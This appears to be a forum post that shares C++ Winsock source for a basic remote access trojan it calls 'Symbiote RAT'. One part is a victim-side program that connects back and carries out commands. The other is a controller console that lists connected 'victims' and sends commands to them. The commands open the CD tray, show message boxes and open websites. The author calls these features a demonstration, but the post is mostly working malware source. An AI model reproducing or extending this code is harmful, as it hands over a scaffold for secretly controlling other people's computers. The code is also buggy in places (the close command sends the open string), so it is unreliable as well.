Server:
Code:
#include <WinSock2.h>
#include <iostream>
#include <conio.h>
#include <Windows.h>
#include <string>
#include <mmsystem.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib,"Winmm.lib") //for mciSendString
using namespace std;
SOCKET Connect;
SOCKADDR_IN addr;
bool connected = false;
void HideWindows()
{
}
void Sending(string TEXT)
{
}
void Parsing()
{
while (connected)
{
try
{
char buffer[255];
int bytes = recv(Connect, buffer, sizeof(buffer), 0);
string hello = buffer;
cout << "Server> " << hello << endl;
if (bytes <= 0)
{
cout << "Disconnected...by bytes 0." << endl;
//close socket
break;
}
if (hello == "openCD")
{
mciSendString("Set CDAudio Door Open", NULL, 0, NULL);
}
if (hello == "closeCD")
{
mciSendString("Set CDAudio Door Open", NULL, 0, NULL);
}
if (hello == "msgBox")
{
MessageBox(NULL, "Got a broadcast!", "Testing", MB_OK | MB_ICONASTERISK);
}
if (hello.find("-visit") == 0)
{
//string website = hello.erase(0,7);
ShellExecute(NULL, "open", "http://www.google.co.uk", NULL, NULL, SW_SHOWNORMAL);
}
}
catch (exception x)
{
cout << "Disconnected..by try and error." << endl;
break;
//close socket
}
}
}
void Connecting()
{
Sleep(4000);
if (connect(Connect, (SOCKADDR*)&addr, sizeof addr) != 0)
{
cout << "Couldn't connect..." << endl;
}
else
{
cout << "Connected to server!" << endl;
connected = true;
}
return;
}
int main()
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2,1), &wsaData);
Connect = socket(AF_INET, SOCK_STREAM, NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_port = htons(45820);
while (!connected)
{
Connecting();
}
//------------connected
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) Parsing , NULL, NULL, NULL);
_getch();
return 0;
}
Client:
Code:
#include <WinSock2.h>
#include <Windows.h>
#include <iostream>
#include <conio.h>
#include <string>
#include <vector>
#include <list>
#include <algorithm>
#include <sstream>
using namespace std;
#pragma comment(lib, "Ws2_32.lib")
long port;
int connections;
int identifier;
bool running = false;
bool listening = false;
string selection;
string batch;
SOCKET server;
SOCKET client;
SOCKADDR_IN addr;
int cnect = sizeof(addr);
list <SOCKET> myList;
class Constructor
{
public:
Constructor ();
Constructor (SOCKET);
//list <SOCKET> myList;
SOCKET _client;
char * _ip;
};
//void SendFunc(string TEXT)
//{
//char buffer[] = TEXT;
//}
void ReceiveFunc()
{
char buffer[255];
}
void MultiCast(SOCKET client)
{
cout << inet_ntoa(addr.sin_addr) << " [" << identifier << "]" << endl;
string toString;
stringstream out;
out << identifier;//add number to the stream
toString = out.str();
cout << selection << " selection \n";
cout << toString << " identifier \n";
identifier++;
//itoa (i,,16);
//std::cout << inet_ntoa(addr.sin_addr) << std::endl; ONLY FOR TESTING PURPOSES
if (selection == toString) //inet_ntoa(addr.sin_addr) //identifier
{
//string message = "Multicasted...";
char bufferSend[255];
strcpy(bufferSend, batch.c_str()); //message
send(client, bufferSend, sizeof(bufferSend), 0);
selection == "";
batch == "";
}
}
void BroadCast(SOCKET client)
{
//cout << inet_ntoa(addr.sin_addr) << " [" << identifier++ << "]" << endl;
//cout << batch; ONLY FOR TESTING PURPOSES
//string message = "Broadcasted...";
char bufferSend[255];
strcpy(bufferSend, batch.c_str()); //message
send(client, bufferSend, sizeof(bufferSend), 0);
selection == "";
batch == "";
identifier = 0;
}
void ListUsers(SOCKET i)
{
cout << inet_ntoa(addr.sin_addr) << " ID = [" << identifier << "]" << endl;
identifier++;
}
Constructor::Constructor(SOCKET victim)
{
_client = victim;
_ip = inet_ntoa(addr.sin_addr);
std::cout << "[ " << inet_ntoa(addr.sin_addr) << " ] " << "has connected!" << std::endl;
cout << "\n";
myList.push_back(victim);
//for_each (myList.begin(), myList.end(), BroadCast);
Beep(500, 500);
//test pentru chestii
/*
string message = "openCD";
char bufferSend[255];
strcpy(bufferSend, message.c_str());
send(victim, bufferSend, sizeof(bufferSend), 0);
*/
//sterge dupa ce am terminat
//CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) ReceiveFunc , NULL, NULL, NULL);
}
void Listen()
{
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = INADDR_ANY;
addr.sin_port = htons(45820); //htonl? and port
if (bind(server, (SOCKADDR*)&addr, sizeof(addr)) != 0)
{
MessageBox(NULL, "Failed to bind SOCK... please check port or ADDR_IN.", "Error", MB_OK | MB_ICONERROR);
exit(1);
}
if (listen(server, SOMAXCONN) != 0)
{
MessageBox(NULL, "Failed to listen... please check port or ADDR_IN.", "Error", MB_OK | MB_ICONERROR);
exit(1);
}
listening = true;
while (listening)
{
try
{
Constructor * user = new Constructor(accept(server, (SOCKADDR*)&addr, &cnect));
// not meants to be here for connection list [below]
connections++;
}
catch(exception x)
{
}
}
}
void _commands(string command)
{
if (command == "/help")
{
cout << "" << endl;
cout << "/listen <PORT> ----- |listens on port specified [default is 8085]|" << endl;
cout << "/broadcast ----- |sends a messagebox with rat response|" << endl;
cout << "/stat ----- |displays the status of the rat and connections|" << endl;
cout << "/users ---- |lists all connected users|" << endl;
cout << "-visit <WEBSITE> ----- |broadcast website >EX< http://www.google.com|" << endl;
cout << "-oCD <USER_ID> ----- |opens the user's CD-ROM|" << endl;
cout << "-cCD <USER_ID> ----- |closes the user's CD-ROM|" << endl;
cout << "-dc <USER_ID> ----- |disconnects the user|" << endl;
cout << "/restart ----- |restarts the application|" << endl;
cout << "/exit ----- |exists the console|" << endl;
cout << "" << endl;
}
else if (command.find("/listen") == 0)
{
command.erase(0, 7); //it's probably 8, that's why port int won't work, and use htons
port = atoi(command.c_str());
if (port == 0)
{
port = 45820;
}
cout << "Listening on port: " << port << "." << endl;
cout << "" << endl;
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) Listen, NULL, NULL, NULL);
}
else if (command == "/stat")
{
cout << "\n";
if (running)
{
cout << "The server is running well and awaiting for commands. \n";
}
else
{
cout << "The server is not running and stuck. \n";
}
if (listening)
{
cout << "Server is already listening on port " << port << "\n";
}
else
{
cout << "The server is NOT listening on any ports. \n";
}
if (connections == 0)
{
cout << "There are no users connected. \n";
}
else
{
cout << "Currently there are " << connections << " connected! \n";
}
cout << "" << endl;
}
else if (command.find("-visit") == 0)
{
batch = command; //will cause problems if ID is more than 2 digits
//for_each (myList.begin(), myList.end(), MultiCast);
for_each (myList.begin(), myList.end(), BroadCast);
}
else if (command == "/users")
{
for_each (myList.begin(), myList.end(), ListUsers);
identifier = 0;
}
else if (command == "/broadcast")
{
batch = "msgBox";
//cout << batch; ONLY FOR TESTING PURPOSES
for_each (myList.begin(), myList.end(), BroadCast);
}
else if (command.find("-oCD") == 0)
{
string user_ID = command.erase(0, 5);
//cout << user_ID; ONLY FOR TESTING PURPOSES
batch = "openCD";
if (user_ID == "")
{
cout << "\n";
cout << "No user selected..." << endl;
cout << "\n";
}
else
{
selection = user_ID;
for_each (myList.begin(), myList.end(), MultiCast);
identifier = 0;
}
}
else if (command.find("-cCD") == 0)
{
string user_ID = command.erase(0, 5);
//cout << user_ID; ONLY FOR TESTING PURPOSES
batch = "closeCD";
if (user_ID == "")
{
cout << "\n";
cout << "No user selected..." << endl;
cout << "\n";
}
else
{
selection = user_ID;
for_each (myList.begin(), myList.end(), MultiCast);
identifier = 0;
}
}
else if (command == "/exit")
{
listening = false;
running = false;
exit(0);
}
else
{
cout << "Unknown command..." << endl;
cout << "\n";
}
}
int main()
{
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2,1), &wsadata) != 0)
{
MessageBox(NULL, "Failed to INIT_WSOCK, please restart the application!", "Error", MB_OK | MB_ICONERROR);
return 1;
}
server = socket(AF_INET, SOCK_STREAM, NULL);
client = socket(AF_INET, SOCK_STREAM, NULL);
running = true;
string command;
system("color 0f");
cout << "///Symbiote RAT/// started. #Type /help for commands." << endl;
cout << "" << endl;
while (running)
{
getline(cin, command);
_commands(command);
}
_getch();
return 0;
}
The R.A.T like functions are only there to demonstrate how different statements can be executed remotely. Hope somebody finds this to be of use. I'll post Java related topics in the future as I've gathered that the majority here prefer Java.